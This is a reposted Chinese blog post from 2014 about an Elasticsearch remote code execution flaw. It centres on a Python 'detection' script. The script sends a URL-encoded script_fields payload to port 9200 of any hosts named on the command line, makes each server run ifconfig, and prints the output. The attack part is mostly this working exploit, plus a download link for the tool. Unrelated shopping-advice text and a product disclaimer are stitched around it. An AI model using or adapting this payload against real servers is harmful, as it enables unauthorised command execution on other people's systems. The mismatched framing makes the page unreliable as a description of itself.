数码资讯
[更新]Elasticsearch 代码执行漏洞利用检测工具
选购提示
关注价格、性能、续航、售后和真实使用场景,理性比较后再下单。
地址: http://blog.csdn.net/hujkay 作者:Jekkay Hu(34538980@qq.com) 关键词:Elasticsearch 漏洞利用 漏洞检测 时间: 2014/5/26
1. 概述
ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。
Lucene是apache软件基金会
4
jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包
2. 漏洞利用
由于没有对参数进行检测,导致可以远程执行命令。
3. 检测工具
ElasticSearch漏洞检测工具,如下图所示:
python 检测代码:
#!/usr/bin/env python
#-*- coding: UTF-8 -*-
__description__ = """
detail :http://p2j.cn/?p=1300
solution: http://bouk.co/blog/elasticsearch-rce/
"""
__author__ = 'Jekkay Hu'
import urllib2
def checkit(domain):
if not (str(domain)).startswith('http'):
url = 'http://' + domain
else:
url = domain
if url.endswith('/'):
url = url.rstrip('/')
payload = ":9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;import%20java.io.*;String%20str%20=%20%22%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(%22ifconfig%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}"
url += payload
try:
#url = 'http://www.baidu.com/'
headers ={"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
req = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(req, timeout=20)
html = response.read()
if not html:
return
if str(html).find('"exp"') >= 0:
return [1, html]
except Exception, e:
pass
if __name__ == '__main__':
import sys
if len(sys.argv) <= 1:
print "Usage: python 20140523Elasticsearch.py 1.2.3.4 11.22.33.44"
for i in xrange(1, len(sys.argv)):
info = checkit(sys.argv[i])
if info:
print "server [%s] is vulable, return data: [%s]" % (sys.argv[i], info[1])
elasticsearch漏洞检测工具下载地址:
http://download.csdn.net/detail/hujkay/7402093
Jekkay Hu, 胡杨
2014/05/26
声明:本文内容用于数码产品信息整理与选购参考,具体价格、库存、售后政策以官方渠道和电商页面实时信息为准。